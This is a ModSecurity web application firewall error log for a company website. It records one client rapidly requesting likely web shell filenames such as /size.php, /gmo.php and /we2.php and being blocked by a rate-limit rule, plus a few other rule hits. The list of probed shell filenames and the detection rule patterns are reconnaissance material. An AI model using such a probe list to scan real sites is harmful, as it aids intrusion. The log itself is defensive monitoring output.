[Wed Apr 01 19:27:41.029063 2026] [:error] [pid 8908:tid 8930] [client 52.156.211.140:4091] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/size.php"] [unique_id "ac0BLfkmxtJXGnLdvgBakQAAAJE"]
[Wed Apr 01 19:27:41.529905 2026] [:error] [pid 8908:tid 8920] [client 52.156.211.140:37050] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/size.php"] [unique_id "ac0BLfkmxtJXGnLdvgBakwAAAIc"]
[Wed Apr 01 19:27:42.031640 2026] [:error] [pid 62559:tid 62575] [client 52.156.211.140:3904] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ac0BLi7NKI8IaNKZFId6WAAAAU4"]
[Wed Apr 01 19:27:42.602345 2026] [:error] [pid 8909:tid 8958] [client 52.156.211.140:4071] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ac0BLjvP_a0662gDl6Bw_gAAANE"]
[Wed Apr 01 19:27:43.111307 2026] [:error] [pid 8909:tid 8954] [client 52.156.211.140:3975] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ac0BLzvP_a0662gDl6BxAgAAAM0"]
[Wed Apr 01 19:27:43.699130 2026] [:error] [pid 8909:tid 8942] [client 52.156.211.140:4048] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ac0BLzvP_a0662gDl6BxBQAAAME"]
[Wed Apr 01 19:28:03.514798 2026] [:error] [pid 8909:tid 8956] [client 52.156.211.140:4049] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "ac0BQzvP_a0662gDl6BxSAAAAM8"]
[Wed Apr 01 19:28:04.058267 2026] [:error] [pid 8910:tid 8989] [client 52.156.211.140:3948] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "ac0BRKJZINUcF3tYgExHngAAARU"]
[Wed Apr 01 19:28:04.574297 2026] [:error] [pid 8995:tid 9010] [client 52.156.211.140:3917] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "ac0BROonaBjs3qxcReeqiAAAAAw"]
[Wed Apr 01 19:28:05.090798 2026] [:error] [pid 8908:tid 8915] [client 52.156.211.140:4078] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v.php"] [unique_id "ac0BRfkmxtJXGnLdvgBarAAAAII"]
[Wed Apr 01 19:28:07.821800 2026] [:error] [pid 8909:tid 8955] [client 52.156.211.140:4059] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d2.php"] [unique_id "ac0BRzvP_a0662gDl6BxUwAAAM4"]
[Wed Apr 01 19:28:08.330747 2026] [:error] [pid 62559:tid 62563] [client 52.156.211.140:3995] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d2.php"] [unique_id "ac0BSC7NKI8IaNKZFId6dgAAAUI"]
[Wed Apr 01 19:28:08.929942 2026] [:error] [pid 62559:tid 62568] [client 52.156.211.140:4045] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d2.php"] [unique_id "ac0BSC7NKI8IaNKZFId6egAAAUc"]
[Wed Apr 01 19:28:09.454886 2026] [:error] [pid 62559:tid 62577] [client 52.156.211.140:4043] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d2.php"] [unique_id "ac0BSS7NKI8IaNKZFId6fAAAAVA"]
[Wed Apr 01 19:28:10.069265 2026] [:error] [pid 8909:tid 8956] [client 52.156.211.140:3985] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc.php"] [unique_id "ac0BSjvP_a0662gDl6BxWQAAAM8"]
[Wed Apr 01 19:28:10.585917 2026] [:error] [pid 8909:tid 8958] [client 52.156.211.140:3978] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc.php"] [unique_id "ac0BSjvP_a0662gDl6BxWwAAANE"]
[Wed Apr 01 19:28:12.098061 2026] [:error] [pid 8909:tid 8953] [client 52.156.211.140:4025] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc.php"] [unique_id "ac0BTDvP_a0662gDl6BxYwAAAMw"]
[Wed Apr 01 19:28:12.638055 2026] [:error] [pid 8910:tid 8980] [client 52.156.211.140:4016] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc.php"] [unique_id "ac0BTKJZINUcF3tYgExHpwAAAQw"]
[Wed Apr 01 19:28:13.178356 2026] [:error] [pid 8908:tid 8928] [client 52.156.211.140:37045] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "ac0BTfkmxtJXGnLdvgBatwAAAI8"]
[Wed Apr 01 19:28:13.699017 2026] [:error] [pid 8909:tid 8961] [client 52.156.211.140:4094] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "ac0BTTvP_a0662gDl6BxbgAAANQ"]
[Wed Apr 01 19:28:14.234455 2026] [:error] [pid 17856:tid 17877] [client 52.156.211.140:4011] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "ac0BTj7Idlm5j9frhqTx0AAAAFM"]
[Wed Apr 01 19:28:14.742062 2026] [:error] [pid 17856:tid 17880] [client 52.156.211.140:4039] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/g.php"] [unique_id "ac0BTj7Idlm5j9frhqTx0wAAAFY"]
[Wed Apr 01 19:28:15.267102 2026] [:error] [pid 8909:tid 8958] [client 52.156.211.140:3958] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "ac0BTzvP_a0662gDl6BxdAAAANE"]
[Wed Apr 01 19:28:15.777111 2026] [:error] [pid 17856:tid 17865] [client 52.156.211.140:4037] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "ac0BTz7Idlm5j9frhqTx2QAAAEc"]
[Wed Apr 01 19:28:16.341874 2026] [:error] [pid 8909:tid 8950] [client 52.156.211.140:4020] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "ac0BUDvP_a0662gDl6BxdwAAAMk"]
[Wed Apr 01 19:28:16.871532 2026] [:error] [pid 17856:tid 17872] [client 52.156.211.140:4052] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "ac0BUD7Idlm5j9frhqTx3QAAAE4"]
[Wed Apr 01 19:28:17.447320 2026] [:error] [pid 17856:tid 17869] [client 52.156.211.140:3940] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "ac0BUT7Idlm5j9frhqTx4AAAAEs"]
[Wed Apr 01 19:28:17.947519 2026] [:error] [pid 62559:tid 62579] [client 52.156.211.140:4076] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "ac0BUS7NKI8IaNKZFId6iAAAAVI"]
[Wed Apr 01 19:28:18.470209 2026] [:error] [pid 62559:tid 62569] [client 52.156.211.140:37026] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "ac0BUi7NKI8IaNKZFId6iQAAAUg"]
[Wed Apr 01 19:28:18.977138 2026] [:error] [pid 8910:tid 8981] [client 52.156.211.140:4026] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/11.php"] [unique_id "ac0BUqJZINUcF3tYgExHrwAAAQ0"]
[Wed Apr 01 19:28:19.498808 2026] [:error] [pid 8909:tid 8948] [client 52.156.211.140:4036] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/20.php"] [unique_id "ac0BUzvP_a0662gDl6BxggAAAMc"]
[Wed Apr 01 19:28:20.014551 2026] [:error] [pid 62559:tid 62574] [client 52.156.211.140:3909] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/20.php"] [unique_id "ac0BVC7NKI8IaNKZFId6jQAAAU0"]
[Wed Apr 01 19:28:20.529557 2026] [:error] [pid 8909:tid 8954] [client 52.156.211.140:4079] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/20.php"] [unique_id "ac0BVDvP_a0662gDl6BxiAAAAM0"]
[Wed Apr 01 19:28:21.872343 2026] [:error] [pid 8909:tid 8947] [client 52.156.211.140:4008] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/20.php"] [unique_id "ac0BVTvP_a0662gDl6BxjAAAAMY"]
[Wed Apr 01 19:28:22.407449 2026] [:error] [pid 8909:tid 8953] [client 52.156.211.140:3905] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "ac0BVjvP_a0662gDl6BxkQAAAMw"]
[Wed Apr 01 19:28:22.916426 2026] [:error] [pid 8909:tid 8951] [client 52.156.211.140:4083] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "ac0BVjvP_a0662gDl6BxkgAAAMo"]
[Wed Apr 01 19:28:23.437027 2026] [:error] [pid 8909:tid 8945] [client 52.156.211.140:36999] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "ac0BVzvP_a0662gDl6BxlQAAAMQ"]
[Wed Apr 01 19:28:23.940551 2026] [:error] [pid 8995:tid 9002] [client 52.156.211.140:3935] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "ac0BV-onaBjs3qxcReeqkQAAAAQ"]
[Wed Apr 01 19:28:24.473442 2026] [:error] [pid 8909:tid 8959] [client 52.156.211.140:3869] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c.php"] [unique_id "ac0BWDvP_a0662gDl6BxmgAAANI"]
[Wed Apr 01 19:28:24.980043 2026] [:error] [pid 8909:tid 8943] [client 52.156.211.140:37238] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c.php"] [unique_id "ac0BWDvP_a0662gDl6BxngAAAMI"]
[Wed Apr 01 19:28:25.522476 2026] [:error] [pid 8909:tid 8957] [client 52.156.211.140:3971] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c.php"] [unique_id "ac0BWTvP_a0662gDl6BxoQAAANA"]
[Wed Apr 01 19:28:26.040929 2026] [:error] [pid 62559:tid 62564] [client 52.156.211.140:3998] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c.php"] [unique_id "ac0BWi7NKI8IaNKZFId6lAAAAUM"]
[Wed Apr 01 19:28:26.558392 2026] [:error] [pid 8910:tid 8968] [client 52.156.211.140:4029] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "ac0BWqJZINUcF3tYgExHtwAAAQA"]
[Wed Apr 01 19:28:27.099364 2026] [:error] [pid 8910:tid 8983] [client 52.156.211.140:3955] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "ac0BW6JZINUcF3tYgExHvAAAAQ8"]
[Wed Apr 01 19:28:27.605524 2026] [:error] [pid 62559:tid 62570] [client 52.156.211.140:3912] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "ac0BWy7NKI8IaNKZFId6lQAAAUk"]
[Wed Apr 01 19:28:28.104472 2026] [:error] [pid 62559:tid 62574] [client 52.156.211.140:4017] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we2.php"] [unique_id "ac0BXC7NKI8IaNKZFId6lwAAAU0"]
[Wed Apr 01 19:28:28.611794 2026] [:error] [pid 8908:tid 8928] [client 52.156.211.140:4085] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "ac0BXPkmxtJXGnLdvgBawgAAAI8"]
[Wed Apr 01 19:28:29.122276 2026] [:error] [pid 62559:tid 62585] [client 52.156.211.140:3800] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "ac0BXS7NKI8IaNKZFId6mgAAAVg"]
[Wed Apr 01 19:28:29.624065 2026] [:error] [pid 8909:tid 8941] [client 52.156.211.140:3994] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "ac0BXTvP_a0662gDl6BxrgAAAMA"]
[Wed Apr 01 19:28:30.132037 2026] [:error] [pid 8995:tid 9021] [client 52.156.211.140:37196] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "ac0BXuonaBjs3qxcReeqlAAAABc"]
[Wed Apr 01 19:28:30.699590 2026] [:error] [pid 62559:tid 62581] [client 52.156.211.140:4086] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ac0BXi7NKI8IaNKZFId6nwAAAVQ"]
[Wed Apr 01 19:28:31.211835 2026] [:error] [pid 62559:tid 62566] [client 52.156.211.140:37040] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ac0BXy7NKI8IaNKZFId6ogAAAUU"]
[Wed Apr 01 19:28:31.798997 2026] [:error] [pid 8908:tid 8935] [client 52.156.211.140:37187] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ac0BX_kmxtJXGnLdvgBayAAAAJY"]
[Wed Apr 01 19:28:32.301045 2026] [:error] [pid 8908:tid 8922] [client 52.156.211.140:3965] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ac0BYPkmxtJXGnLdvgBayQAAAIk"]
[Wed Apr 01 19:33:21.725435 2026] [:error] [pid 8909:tid 8950] [client 43.131.36.84:52062] [client 43.131.36.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ac0CgTvP_a0662gDl6B2dwAAAMk"]
[Wed Apr 01 21:19:09.697113 2026] [:error] [pid 8909:tid 8952] [client 103.28.116.233:5031] [client 103.28.116.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.28.116.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac0bTTvP_a0662gDl6DUcAAAAMs"]
